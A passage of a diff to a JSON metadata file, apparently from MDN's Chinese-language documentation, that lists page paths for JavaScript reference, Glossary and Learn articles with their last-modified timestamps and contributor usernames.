"Web/JavaScript/Reference/Global_Objects/WeakSet": { - "modified": "2020-10-15T21:26:50.454Z", + "Glossary/Simple_header": { + "modified": "2019-03-18T21:33:57.550Z", "contributors": [ - "wallena3", - "earlymeme", - "xgqfrms-GitHub", - "Go7hic", - "teoli", - "ziyunfei" + "huangll" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/add": { - "modified": "2019-03-23T22:20:53.399Z", + "Glossary/Algorithm": { + "modified": "2019-12-09T04:39:20.829Z", "contributors": [ - "marsgt", - "Hushabyme" + "ran", + "huanghe2015" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/clear": { - "modified": "2019-03-23T22:18:46.466Z", + "Glossary/Type_Conversion": { + "modified": "2019-06-24T05:38:16.865Z", "contributors": [ - "teoli", - "Ende93" + "RainSlide", + "danielnanuk" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/delete": { - "modified": "2020-03-17T12:14:42.437Z", + "Glossary/Compile": { + "modified": "2019-03-18T21:35:31.612Z", "contributors": [ - "zhenzhenChange", - "Hushabyme" + "ethanzway" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/has": { - "modified": "2019-03-23T22:21:07.252Z", + "Glossary/Compile_time": { + "modified": "2019-03-18T21:35:17.139Z", "contributors": [ - "Hushabyme" + "ethanzway" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/prototype": { - "modified": "2019-10-09T00:35:58.794Z", + "Glossary/Semantics": { + "modified": "2020-02-12T10:16:15.832Z", "contributors": [ - "sky-gg", - "SphinxKnight", - "teoli", - "ziyunfei" + "RainSlide", + "秋色楓", + "acejerry", + "DaMber" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly": { - "modified": "2020-10-15T21:53:08.592Z", + "Glossary/Request_header": { + "modified": "2020-02-12T10:12:37.548Z", "contributors": [ - "wallena3", - "Chesn", - "Gaohaoyang", - "zhangchen", - "chyingp", - "JianrongYu" + "RainSlide", + "c1er", + "huangll" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError": { - "modified": "2020-10-15T22:26:35.137Z", + "Glossary/General_header": { + "modified": "2020-02-12T09:58:36.039Z", "contributors": [ - "wallena3" + "RainSlide", + "WayneCui" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Global": { - "modified": "2020-11-13T02:45:14.451Z", + "Glossary/OOP": { + "modified": "2019-03-23T22:19:08.166Z", "contributors": [ - "yujiaao", - "yxwsbobo" + "zhangchen", + "fan19900404" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance": { - "modified": "2020-10-23T07:01:43.345Z", + "Learn/Accessibility/CSS_and_JavaScript": { + "modified": "2020-11-03T05:18:13.954Z", "contributors": [ - "liguorain", - "yxwsbobo", - "SphinxKnight" + "No.5972", + "yawei", + "grape", + "wangfangping", + "wsj0124", + "cani1see", + "hmfight" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory": { - "modified": "2020-10-15T22:06:20.710Z", + "Learn/Accessibility/HTML": { + "modified": "2020-07-16T22:40:15.418Z", "contributors": [ - "Zhang-Junzhi", - "sunwanxin213" + "grape", + "kuldahar", + "ChuckZhang", + "zxsunrise", + "xiwusheng", + "zouyang1230", + "Junx" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Module": { - "modified": "2020-10-15T22:00:19.792Z", + "Learn/Accessibility/Multimedia": { + "modified": "2020-07-16T22:40:28.501Z", "contributors": [ - "dondevi" + "wangfangping", + "xiwusheng" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError": { - "modified": "2020-10-15T22:26:27.221Z", + "Learn/Common_questions/Available_text_editors": { + "modified": "2020-07-16T22:35:49.753Z", "contributors": [ - "wallena3" + "A-rise" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Table": { - "modified": "2020-11-04T03:44:08.051Z", + "Learn/CSS/Building_blocks/Handling_different_text_directions": { + "modified": "2020-07-16T22:29:14.755Z", "contributors": [ - "moniang", - "hurrytospring" + "ChongyouXu", + "lucida959595", + "Young-Spark", + "ZouYj", + "dlnb526", + "SirnoChan", + "sliop", + "Orzst", + "kuhnpku" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/compile": { - "modified": "2020-10-15T21:58:44.128Z", + "Learn/CSS/CSS_layout/Legacy_Layout_Methods": { + "modified": "2020-07-16T22:27:16.084Z", "contributors": [ - "kungfucode-rex" + "SirnoChan", + "Hermedius", + "zxxzzzzz", + "agnoCJY" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming": { - "modified": "2020-10-15T22:15:30.451Z", + "Learn/CSS/CSS_layout/Positioning": { + "modified": "2020-12-01T00:39:03.074Z", "contributors": [ - "Cyandev" + "zisedelinghun", + "driftingdream", + "laizenan", + "parabolazz", + "LuoYun", + "TaoXuSheng", + "codeofjackie", + "fourml", + "summercn", + "allan_simon", + "yuyx91", + "lihaoyuan", + "xp44mm", + "yydzxz", + "ddtyjmyjm", + "Froggy", + "uestcNaldo", + "Eric.Wu", + "echoArray", + "xgqfrms-GitHub", + "Ende93", + "depressedX", + "siufooncheung", + "1986slayer" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate": { - "modified": "2020-10-15T21:57:59.458Z", + "Learn/CSS/First_steps/How_CSS_works": { + "modified": "2020-07-16T22:28:02.363Z", "contributors": [ - "wallena3", - "Hedgehog", - "airt", - "kungfucode-rex" + "ChongyouXu", + "shizigood", + "dlnb526", + "SirnoChan", + "pacexy", + "kuhnpku", + "FrankYuanhao", + "0x79b9", + "SphinxKnight", + "xcxAscar" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming": { - "modified": "2020-10-15T22:11:30.410Z", + "Learn/CSS/First_steps/Getting_started": { + "modified": "2020-07-16T22:27:52.665Z", "contributors": [ - "Xiaoming666" + "dlnb526", + "SirnoChan", + "byeyear", + "HHao", + "zyzxrj", + "fondxy", + "Amano-Aki", + "RUAN-ZX" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/validate": { - "modified": "2020-10-15T22:15:29.365Z", + "Learn/CSS/Building_blocks/Fundamental_CSS_comprehension": { + "modified": "2020-10-09T04:34:43.547Z", "contributors": [ - "Cyandev" + "benniks", + "blateyang", + "grape", + "LeoB-O", + "codeofjackie", + "allan_simon", + "phiwyc", + "yydzxz", + "ddtyjmyjm", + "nbhaohao" ] }, - "Web/JavaScript/Reference/Global_Objects/decodeURI": { - "modified": "2020-10-15T21:22:04.033Z", + "Learn/CSS/Building_blocks/A_cool_looking_box": { + "modified": "2020-07-16T22:28:27.701Z", "contributors": [ - "Mookiepiece", - "IreneByron", - "laampui", - "xgqfrms-GitHub", - "PoppinL", - "teoli", - "ziyunfei" + "grape", + "Lohoyo", + "lihaoyuan" ] }, - "Web/JavaScript/Reference/Global_Objects/decodeURIComponent": { - "modified": "2020-03-12T19:39:38.099Z", + "Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper": { + "modified": "2020-07-16T22:28:25.559Z", "contributors": [ - "c1er", - "laampui", - "xgqfrms-GitHub", - "PoppinL", - "maicss", - "Ende93", - "SphinxKnight", - "AlexChao" + "codeofjackie", + "ziyunfei", + "Yee", + "lihaoyuan" ] }, - "Web/JavaScript/Reference/Global_Objects/encodeURI": { - "modified": "2020-03-12T19:39:40.462Z", + "Learn/CSS/Styling_text/Fundamentals": { + "modified": "2020-07-16T22:26:10.120Z", "contributors": [ - "xgqfrms-GitHub", - "HelloFun", - "PoppinL", - "leedorian", - "baiya", - "FredWe", - "SphinxKnight", - "AlexChao" + "AlephAlpha", + "Otaku-Glasses", + "grape", + "xiaoman", + "byeyear", + "Sinclair-Yuan", + "ssttii", + "tiange321", + "sixDregs", + "zhuzhangliang", + "liy010", + "codeofjackie", + "1862", + "maoyumaoxun", + "allan_simon", + "comehope", + "xp44mm", + "sputnikW", + "yydzxz", + "Froggy", + "nbhaohao" ] }, - "Web/JavaScript/Reference/Global_Objects/encodeURIComponent": { - "modified": "2020-10-15T21:29:33.137Z", + "Learn/CSS/Styling_text": { + "modified": "2020-07-16T22:26:01.367Z", "contributors": [ - "zhangchen", - "oscarwang913", - "inlym", - "maiff", - "HelloFun", - "PoppinL", - "Roland_Reed", - "fortime", - "SphinxKnight", - "AlexChao" + "kohai", + "LJJ1996", + "allan_simon", + "zhuangyin", + "zhang-kai", + "ZhongyiChen" ] }, - "Web/JavaScript/Reference/Global_Objects/escape": { - "modified": "2020-03-12T19:40:29.669Z", + "Learn/CSS/Styling_text/Styling_links": { + "modified": "2020-07-16T22:26:21.533Z", "contributors": [ - "1renhaO", - "yenshen" + "so2liu", + "SirnoChan", + "Map1en_", + "LeoB-O", + "dchaofei", + "codeofjackie", + "Fungzhe", + "allan_simon", + "xp44mm", + "sputnikW", + "nbhaohao" ] }, - "Web/JavaScript/Reference/Global_Objects/eval": { - "modified": "2020-10-15T21:15:16.670Z", + "Learn/CSS/Styling_text/Styling_lists": { + "modified": "2020-07-16T22:26:15.817Z", "contributors": [ - "amzrk2", - "mrzhouxu", - "chrislung", - "laampui", - "yasen-wolf", - "RainSlide", - "jinhuiWong", - "Akiq2016", - "extending", - "icepro", - "eeeeeeeason", - "JX-Zhuang", - "yanpengxiang", - "SiberianMark", - "Jiang-Xuan", - "Hugh", - "Binly42", - "ziyunfei", - "fscholz", - "qianjiahao", - "teoli", - "huguowei", - "Mgjbot", - "Laser" + "rtxu", + "codeofjackie", + "allan_simon", + "xp44mm", + "Froggy", + "jingyiwang1209", + "Ende93", + "Barren", + "qw950027", + "dazyzsy" ] }, - "Web/JavaScript/Reference/Global_Objects/globalThis": { - "modified": "2020-10-15T22:10:51.438Z", + "Learn/CSS/Styling_text/Typesetting_a_homepage": { + "modified": "2020-07-16T22:26:27.995Z", "contributors": [ - "MinimalistYing", - "RainSlide", - "wallena3", - "kangkai0124", - "SphinxKnight", - "LEORChn", - "fscholz", - "Jack.Works" + "monkey-king", + "grape", + "Map1en_", + "codeofjackie", + "maplelinst" ] }, - "Web/JavaScript/Reference/Global_Objects/isFinite": { - "modified": "2020-10-15T21:24:26.397Z", + "Learn/CSS/Styling_text/Web_fonts": { + "modified": "2020-07-16T22:26:25.043Z", "contributors": [ - "rulanfenghua", - "littcc", - "Jiang-Xuan", - "golegen", - "SphinxKnight", - "AlexChao", - "teoli", - "zhangyaochun1987" + "AlephAlpha", + "LeoB-O", + "zenghuiLee", + "admin1949", + "wheeljs", + "Froggy" ] }, - "Web/JavaScript/Reference/Global_Objects/isNaN": { - "modified": "2020-10-15T21:28:42.019Z", + "Learn/Common_questions/What_are_browser_developer_tools": { + "modified": "2020-08-09T19:35:32.533Z", "contributors": [ - "Ende93", - "ubuntugx", - "bluetata", - "INCHMAN", - "xgqfrms-GitHub", - "mt001mt", - "Hugh", - "cekingLu", - "wanghaoran", - "Skyang", - "yenshen", - "yufeng", - "SphinxKnight", - "AlexChao" + "DarkStory", + "eelord", + "ziyouwa", + "Atractylodes", + "wth", + "ziyunfei", + "zhaoy875" ] }, - "Web/JavaScript/Reference/Global_Objects/null": { - "modified": "2020-10-15T21:21:19.908Z", + "Learn/Common_questions/How_does_the_Internet_work": { + "modified": "2020-07-16T22:35:39.172Z", "contributors": [ - "wallena3", - "RainSlide", - "GreedyPig", - "zxsunrise", - "zhuangyin", - "Jiang-Xuan", - "SphinxKnight", - "ziyunfei", - "AlexChao", - "teoli" + "simon.woo", + "grape", + "W-YaoLing", + "ZhuZhuDrinkMilk", + "TaskForce86", + "ShirleyM", + "yydzxz", + "Jeffrey_Yang", + "StarryForce", + "ArcherGrey", + "wth", + "boredivan", + "RyanZhang", + "TanJrJie" ] }, - "Web/JavaScript/Reference/Global_Objects/parseFloat": { - "modified": "2020-10-15T21:21:34.049Z", + "orphaned/Learn/How_to_contribute": { + "modified": "2020-07-16T22:33:47.665Z", "contributors": [ - "laampui", - "rulanfenghua", - "maoyumaoxun", - "ywjco", - "xgqfrms-GitHub", - "huguangju", - "xuzhijun", - "yenshen", - "teoli", - "ziyunfei" + "SphinxKnight", + "Simcookies", + "Forbidden", + "WavinFlag" ] }, - "Web/JavaScript/Reference/Global_Objects/parseInt": { - "modified": "2020-12-04T02:14:06.997Z", + "orphaned/Learn/HTML/Forms_and_buttons": { + "modified": "2020-02-28T22:25:38.433Z", "contributors": [ - "熊英明", - "liuy666", - "zhuguibiao", - "SAYHISAYHI", - "jjc", - "frankfang1990", - "pantao", - "liuzhengdong", - "lmislm", - "Roland_Reed", - "Eurkidu", - "Mars687", - "cyancity", - "BrightLD", - "hua03", - "ywjco", - "lcxmaple", - "weicaiyue", - "righttoe", - "xgqfrms-GitHub", - "xiaohangJose", - "PengyuanJiang", - "xuzhijun", - "du0m0", - "XingxianLI", - "teoli", - "AlexChao", - "Mickeyboy" + "Dev-Liangjian" ] }, - "Web/JavaScript/Reference/Global_Objects/undefined": { - "modified": "2020-10-15T21:21:19.165Z", + "Learn/Forms/Advanced_form_styling": { + "modified": "2020-07-16T22:21:36.744Z", "contributors": [ - "wallena3", - "lizhongzhen11", - "ywjco", - "fzhw88", - "zhuangyin", - "WJ941", - "ervinewell", - "kameii", - "Jiang-Xuan", - "teoli", - "ziyunfei" + "rtxu", + "Daniel313", + "codeofjackie", + "yydzxz", + "tzigang" ] }, - "Web/JavaScript/Reference/Global_Objects/unescape": { - "modified": "2020-12-10T01:27:00.332Z", + "Learn/Forms/Form_validation": { + "modified": "2020-07-16T22:21:53.600Z", "contributors": [ - "stefango", - "zhangchen", - "ZivHe", - "Jiang-Xuan", - "Ende93" + "dlnb526", + "wavedanger", + "WoodCube", + "PYGC", + "liudadadayu", + "Amano_Sei", + "kazimics", + "codeofjackie", + "tinyhare", + "lihaoyuan", + "dondevi", + "littledust", + "crper", + "yydzxz", + "pantao", + "Froggy", + "xianshenglu", + "songbinghui", + "monsterooo", + "liu-xiao-cui", + "jileieli" ] }, - "Web/JavaScript/Reference/Global_Objects/uneval": { - "modified": "2020-10-15T21:40:49.845Z", + "Learn/Forms/How_to_build_custom_form_controls/Example_1": { + "modified": "2020-07-16T22:21:59.182Z", "contributors": [ - "zhangchen", - "imnodb", - "codert", - "Vincent.Yu" + "Qos", + "549074491", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Iteration_protocols": { - "modified": "2020-11-16T00:41:30.233Z", + "Learn/Forms/How_to_build_custom_form_controls/Example_2": { + "modified": "2020-07-16T22:21:59.542Z", "contributors": [ - "wubaodong", - "Mr_kaze", - "Clarkkkk", - "DengZhihao", - "RainSlide", - "wangxiujuni", - "houzp", - "edward12699", - "luohe", - "Shigma", - "yueshuiniao", - "isLishude", - "xgqfrms-GitHub", - "kdex", - "bnerDY", - "xgqfrms", - "m31271n.", - "jiraiya", - "harttle", - "holajiawei", - "zbinlin", - "panhezeng", - "Qcui", - "Ende93", - "ziyunfei", - "teoli" + "shc0743", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Lexical_grammar": { - "modified": "2020-10-15T21:37:37.250Z", + "Learn/Forms/How_to_build_custom_form_controls/Example_3": { + "modified": "2020-07-16T22:21:59.861Z", "contributors": [ - "wwj402", - "RainSlide", - "jiangxin123", - "mistoken", - "DrndwX", - "VdoG", - "eforegist", - "Hitomichan", - "jiahui", - "lunix01" + "shc0743", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Operators": { - "modified": "2020-11-11T01:18:14.844Z", + "Learn/Forms/How_to_build_custom_form_controls/Example_4": { + "modified": "2020-07-16T22:22:00.186Z", "contributors": [ - "Liugq5713", - "Ende93", - "ourai", - "zhangchen", - "zxsunrise", - "ZTFtrue", - "yangzx", - "xgqfrms-GitHub", - "imhaohao", - "Meteormatt", - "tim.liu", - "lunix01", - "Go7hic", - "yenshen", - "ziyunfei", - "teoli" + "shc0743", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Operators/Addition_assignment": { - "modified": "2020-10-15T22:32:22.325Z", + "Learn/Forms/How_to_build_custom_form_controls": { + "modified": "2020-07-16T22:21:58.787Z", "contributors": [ - "xgqfrms" + "WoodCube", + "rtxu", + "feixiang5754", + "lonelywhisper", + "yasminyt", + "honey6", + "codeofjackie", + "tinyhare", + "yochii", + "uselessaddress", + "crper", + "yydzxz", + "zqyue", + "darkeggler", + "Froggy", + "chrisdavidmills", + "Sheppy", + "ziyunfei", + "helloguangxue" ] }, - "Web/JavaScript/Reference/Operators/Arithmetic_Operators": { - "modified": "2020-10-15T21:31:37.464Z", + "Learn/Forms/How_to_structure_a_web_form": { + "modified": "2020-07-16T22:21:16.348Z", "contributors": [ - "srq18211", - "RainSlide", - "lmislm", - "Braveheartforyou", - "zhangchen", - "xixigeek", - "XHMM", - "ZhengAu", - "aimiy", - "xhlwill", - "xgqfrms-GitHub", - "yayayhoo", - "xiaofengling", - "git123hub", - "AnnAngela", - "tiansh", - "AlexChao" + "lucida959595", + "imba-tjd", + "naivexcited", + "WoodCube", + "Zhang-YanQi", + "liy010", + "web-xx", + "codeofjackie", + "lihaoyuan", + "yawei", + "zqyue", + "StarryForce", + "Froggy" ] }, - "Web/JavaScript/Reference/Operators/Assignment": { - "modified": "2020-10-15T22:32:28.366Z", + "Learn/Forms/HTML_forms_in_legacy_browsers": { + "modified": "2020-07-16T22:22:04.178Z", "contributors": [ - "longfangsong", - "hellorayza", - "yemao", - "Linuocc" + "haoye999", + "lovedebug", + "jaiJia", + "littledust" ] }, - "Web/JavaScript/Reference/Operators/Assignment_Operators": { - "modified": "2020-10-15T21:29:35.850Z", + "Learn/Forms": { + "modified": "2020-07-16T22:21:02.678Z", "contributors": [ - "AchooLuv", - "wbamberg", - "cuixiping", - "adoreCherish", - "yofine", - "AlexChao", - "SphinxKnight" + "615lyw", + "Lohoyo", + "lihaoyuan", + "yydzxz", + "StarryForce", + "Froggy", + "chrisdavidmills", + "ziyunfei", + "JulieLee77", + "teoli", + "Jeremie" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_AND_assignment": { - "modified": "2020-10-15T22:34:19.309Z", + "Learn/Forms/Property_compatibility_table_for_form_controls": { + "modified": "2020-07-16T22:21:44.843Z", "contributors": [ - "Eric_lc", - "laampui" + "codeofjackie", + "lovedebug" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_NOT": { - "modified": "2020-10-15T22:34:23.865Z", + "Learn/Forms/Sending_and_retrieving_form_data": { + "modified": "2020-07-16T22:21:29.690Z", "contributors": [ - "Eric_lc", - "laampui" + "rtxu", + "WoodCube", + "aliang2017", + "codeofjackie", + "yydzxz", + "Froggy", + "KngZhi", + "chrisdavidmills", + "juzhiyuan" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_OR": { - "modified": "2020-10-15T22:34:22.155Z", + "Learn/Forms/Sending_forms_through_JavaScript": { + "modified": "2020-07-16T22:22:02.523Z", "contributors": [ - "laampui" + "RainSlide", + "WoodCube", + "xing2000", + "Bayes", + "codeofjackie", + "littledust", + "yydzxz", + "Chenng", + "chrisdavidmills", + "ziyunfei", + "sanxingming", + "helloguangxue", + "teoli" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_OR_assignment": { - "modified": "2020-10-15T22:34:21.154Z", + "Learn/Forms/Styling_web_forms": { + "modified": "2020-07-16T22:21:32.838Z", "contributors": [ - "laampui" + "jiaodk", + "rtxu", + "coder-git", + "33YANG", + "Daniel313", + "codeofjackie", + "lovedebug", + "yydzxz", + "lucoo01" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_Operators": { - "modified": "2020-03-12T19:40:23.030Z", + "Learn/Forms/Basic_native_form_controls": { + "modified": "2020-09-17T23:41:07.186Z", "contributors": [ - "xmasuhai", - "GreedyPig", - "parabolazz", - "ywjco", - "xgqfrms-GitHub", - "clcy1243", - "tiansh", - "AlexChao" + "aaazz47", + "853419196", + "WoodCube", + "wsyconan", + "Drizzt-Yu", + "Kavelaa", + "coldicecn", + "Danielxiey", + "codeofjackie", + "Lohoyo", + "lihaoyuan", + "xp44mm", + "uselessaddress", + "littledust", + "yydzxz", + "ddtyjmyjm", + "StarryForce", + "Froggy" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_XOR": { - "modified": "2020-10-15T22:34:22.385Z", + "Learn/Forms/Your_first_form": { + "modified": "2020-08-16T03:03:38.716Z", "contributors": [ - "laampui" + "NicholasZhan", + "WoodCube", + "ChairMao", + "haoye999", + "coldicecn", + "xiangluoming", + "hddhyq", + "Lohoyo", + "maoyumaoxun", + "lyncodes", + "allan_simon", + "lihaoyuan", + "superkuang", + "ddtyjmyjm", + "StarryForce", + "Froggy", + "chrisdavidmills", + "ziyunfei", + "sanxingming" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_XOR_assignment": { - "modified": "2020-10-15T22:34:23.846Z", + "Learn/HTML/Introduction_to_HTML/Document_and_website_structure": { + "modified": "2020-09-22T12:28:50.229Z", "contributors": [ - "laampui" + "Roy-Tian", + "aaazz47", + "chenduone", + "MorrisLi", + "SirnoChan", + "wangfangping", + "FantasqueX", + "imba-tjd", + "HolaForce", + "HeYuansong", + "web-xx", + "codeofjackie", + "chaosdog", + "phiwyc", + "eelord", + "lihaoyuan", + "zhaoqize", + "nbhaohao", + "dirringx", + "HashubWang", + "skylakecore", + "BarryLiu1995", + "luwudang", + "JX-Master", + "danlanxiaohei", + "c0ldian" ] }, - "Web/JavaScript/Reference/Operators/Comma_Operator": { - "modified": "2020-10-15T21:32:06.908Z", + "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies": { + "modified": "2020-09-22T04:49:55.434Z", "contributors": [ - "zhangchen", - "xgqfrms-GitHub", - "ontheway1215", - "AlexChao" + "NellPoi", + "yangko", + "pacexy", + "monkey-king", + "WoodCube", + "Roy-Tian", + "ChairMao", + "ZhangDaZongWei", + "Danielxiey", + "615lyw", + "CaTmmao", + "Lohoyo", + "RevolverOcelotA", + "lihaoyuan", + "superkuang", + "yydzxz", + "ddtyjmyjm", + "Eric.Wu" ] }, - "Web/JavaScript/Reference/Operators/Comparison_Operators": { - "modified": "2020-03-12T19:41:27.611Z", + "Learn/JavaScript/Building_blocks/Image_gallery": { + "modified": "2020-07-16T22:31:44.958Z", "contributors": [ - "ch4zzzzz", - "ubuntugx", - "GreedyPig", - "gongzhibin", - "choukin", - "blue0125", - "Ende93", - "beiweiqiang", - "qianjiahao" + "lucida959595", + "Roy-Tian", + "LittleMang", + "Park-ma", + "codeofjackie", + "lihaoyuan", + "yeslogin2", + "Zeng" ] }, - "Web/JavaScript/Reference/Operators/Conditional_Operator": { - "modified": "2020-10-15T21:37:34.292Z", + "Learn/JavaScript/Objects/Adding_bouncing_balls_features": { + "modified": "2020-07-16T22:32:36.563Z", "contributors": [ - "wendy260310", - "dadan", - "KnightYin", - "pluwen", - "zhangchen", - "ziyunfei", - "Ende93", - "lunix01" + "Wenke-D", + "Roy-Tian", + "gofly1988", + "lihaoyuan", + "bluekeroro" ] }, - "Web/JavaScript/Reference/Operators/Destructuring_assignment": { - "modified": "2020-10-15T21:34:33.159Z", + "Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript": { + "modified": "2020-08-05T11:02:17.810Z", "contributors": [ - "fanerge", - "kidonng", - "Aaron-Bird", - "zhuziyi", - "ZeroWhiteSmile", - "RainSlide", - "zhangchen", - "tosmaller", - "a-pple", - "FideoJ", - "xgqfrms-GitHub", - "XHMM", - "kdex", - "Jiasm", - "jerryni", - "LeoEatle", - "donyaw", - "starriv", - "TiaossuP", - "WeRDyin", - "panhezeng", - "jiahui", - "pjsong", - "zilong-thu", - "lunix01", - "ziyunfei", - "fskuok" + "driftingdream" ] }, - "Web/JavaScript/Reference/Operators/Division": { - "modified": "2020-10-18T03:29:08.158Z", + "Learn/JavaScript/Asynchronous/Async_await": { + "modified": "2020-12-08T06:58:32.883Z", "contributors": [ - "MapMaths", - "laampui" + "byrde", + "woniuxingdong", + "qwei", + "plainnany", + "jakio6", + "awarmy", + "cochn", + "wangfangping" ] }, - "Web/JavaScript/Reference/Operators/Division_assignment": { - "modified": "2020-10-15T22:34:21.674Z", + "Learn/JavaScript/Asynchronous/Choosing_the_right_approach": { + "modified": "2020-12-08T07:27:41.218Z", "contributors": [ - "laampui" + "byrde", + "icetea_cover", + "rubyKC", + "shangruitong", + "PYGC", + "wangfangping", + "tjls" ] }, - "Web/JavaScript/Reference/Operators/Exponentiation": { - "modified": "2020-10-18T04:06:14.289Z", + "Learn/JavaScript/Asynchronous": { + "modified": "2020-07-16T22:33:15.541Z", "contributors": [ - "MapMaths", - "xeunglay", - "laampui" + "yuqing521", + "alice201601", + "oceanMIH" ] }, - "Web/JavaScript/Reference/Operators/Exponentiation_assignment": { - "modified": "2020-10-15T22:34:25.557Z", + "Learn/JavaScript/Asynchronous/Promises": { + "modified": "2020-12-08T05:22:09.292Z", "contributors": [ - "laampui" + "byrde", + "You2er", + "hidoos", + "mizhon", + "haoawen", + "PYGC", + "masterZSH", + "wangfangping", + "kafm", + "zijieee" ] }, - "Web/JavaScript/Reference/Operators/Greater_than": { - "modified": "2020-10-15T22:32:32.486Z", + "Learn/JavaScript/Asynchronous/Concepts": { + "modified": "2020-07-16T22:33:29.726Z", "contributors": [ - "jarirliu" + "alice201601", + "grape", + "HermitSun", + "oceanMIH" ] }, - "Web/JavaScript/Reference/Operators/Greater_than_or_equal": { - "modified": "2020-10-15T22:32:26.171Z", + "Learn/JavaScript/Asynchronous/Introducing": { + "modified": "2020-12-09T00:17:16.227Z", "contributors": [ - "ziyunfei", - "shishana" + "hidoos", + "iroywang", + "Hermedius", + "Xugen-Ma", + "alice201601", + "grape", + "Kavelaa", + "gqbre", + "oceanMIH" ] }, - "Web/JavaScript/Reference/Operators/Grouping": { - "modified": "2020-10-15T21:32:23.898Z", + "Learn/JavaScript/Asynchronous/Timeouts_and_intervals": { + "modified": "2020-08-14T06:09:20.310Z", "contributors": [ - "RainSlide", - "Idealist_EZ", - "zhangchen", - "yenshen" + "Pada", + "You2er", + "WinterCicada", + "zhangbig0", + "mizhon", + "yuqing521", + "Alendia", + "grape", + "wangfangping", + "puddlejumper26", + "oceanMIH" ] }, - "Web/JavaScript/Reference/Operators/Increment": { - "modified": "2020-11-14T04:00:24.472Z", + "Learn/Performance/perceived_performance": { + "modified": "2020-07-16T22:40:43.760Z", "contributors": [ - "seanhuai", - "xgqfrms" + "biqing" ] }, - "Web/JavaScript/Reference/Operators/Inequality": { - "modified": "2020-10-18T04:16:16.608Z", + "Learn/Server-side/Django/Home_page": { + "modified": "2020-07-16T22:37:11.997Z", "contributors": [ - "MapMaths", - "YeahPotato" + "feko", + "mojiangyuan", + "colin3dmax", + "floodwater", + "xixilog", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Operators/Left_shift": { - "modified": "2020-10-15T22:34:24.967Z", + "Learn/Server-side/Django/development_environment": { + "modified": "2020-10-06T10:08:45.805Z", "contributors": [ - "laampui" + "kuailekai", + "silentpanda97", + "Adrian-Yan", + "q2937711", + "xixilog", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Operators/Left_shift_assignment": { - "modified": "2020-10-15T22:34:28.331Z", + "Learn/Server-side/Django/Admin_site": { + "modified": "2020-07-16T22:37:06.131Z", "contributors": [ - "laampui" + "Jeffxzj", + "wangfangping", + "colin3dmax", + "indv-zhu", + "chinanf-boy" ] }, - "Web/JavaScript/Reference/Operators/Less_than": { - "modified": "2020-10-15T22:34:22.220Z", + "Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction": { + "modified": "2020-11-19T04:46:02.957Z", "contributors": [ - "laampui" + "514059172", + "You2er", + "risejl" ] }, - "Web/JavaScript/Reference/Operators/Less_than_or_equal": { - "modified": "2020-10-15T22:32:26.501Z", + "Learn/Tools_and_testing/Cross_browser_testing/Accessibility": { + "modified": "2020-07-16T22:39:17.935Z", "contributors": [ - "shishana" + "freejack811", + "Sc0tt" ] }, - "Web/JavaScript/Reference/Operators/Logical_AND_assignment": { - "modified": "2020-10-15T22:34:22.943Z", + "Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies": { + "modified": "2020-07-16T22:39:08.099Z", "contributors": [ - "laampui" + "wangfangping", + "YaoLIII", + "ty4z2008" ] }, - "Web/JavaScript/Reference/Operators/Logical_NOT": { - "modified": "2020-10-15T22:34:26.449Z", + "Glossary/Localization": { + "modified": "2019-03-23T23:33:42.693Z", "contributors": [ - "laampui" + "xcffl" ] }, - "Web/JavaScript/Reference/Operators/Logical_OR": { - "modified": "2020-10-15T22:34:22.730Z", + "MDN/At_ten": { + "modified": "2019-03-23T22:50:02.795Z", "contributors": [ - "laampui" + "FlyingPig", + "cughudson_1", + "WarriorWu" ] }, - "Web/JavaScript/Reference/Operators/Logical_OR_assignment": { - "modified": "2020-10-15T22:34:21.861Z", + "orphaned/MDN/Community/Conversations": { + "modified": "2020-04-08T04:56:55.004Z", "contributors": [ - "laampui" + "SirnoChan", + "ewfian", + "Chor", + "wbamberg", + "chaosdog", + "jswisher", + "tanyan2004", + "githubzh123" ] }, - "Web/JavaScript/Reference/Operators/Logical_Operators": { - "modified": "2020-10-15T21:22:11.681Z", + "orphaned/MDN/Community/Doc_sprints": { + "modified": "2019-03-18T20:44:27.614Z", "contributors": [ - "HermitSun", - "git710", "RainSlide", - "withoutmelv", - "SphinxKnight", - "Kaijun", - "fphonor", - "zhangchen", - "YoungChen", - "zhuangyin", - "yenshen", - "teoli", - "MoltBoy" - ] - }, - "Web/JavaScript/Reference/Operators/Logical_nullish_assignment": { - "modified": "2020-10-15T22:33:59.629Z", - "contributors": [ - "JoshOY" + "wbamberg", + "ElliottZheng", + "varcat" ] }, - 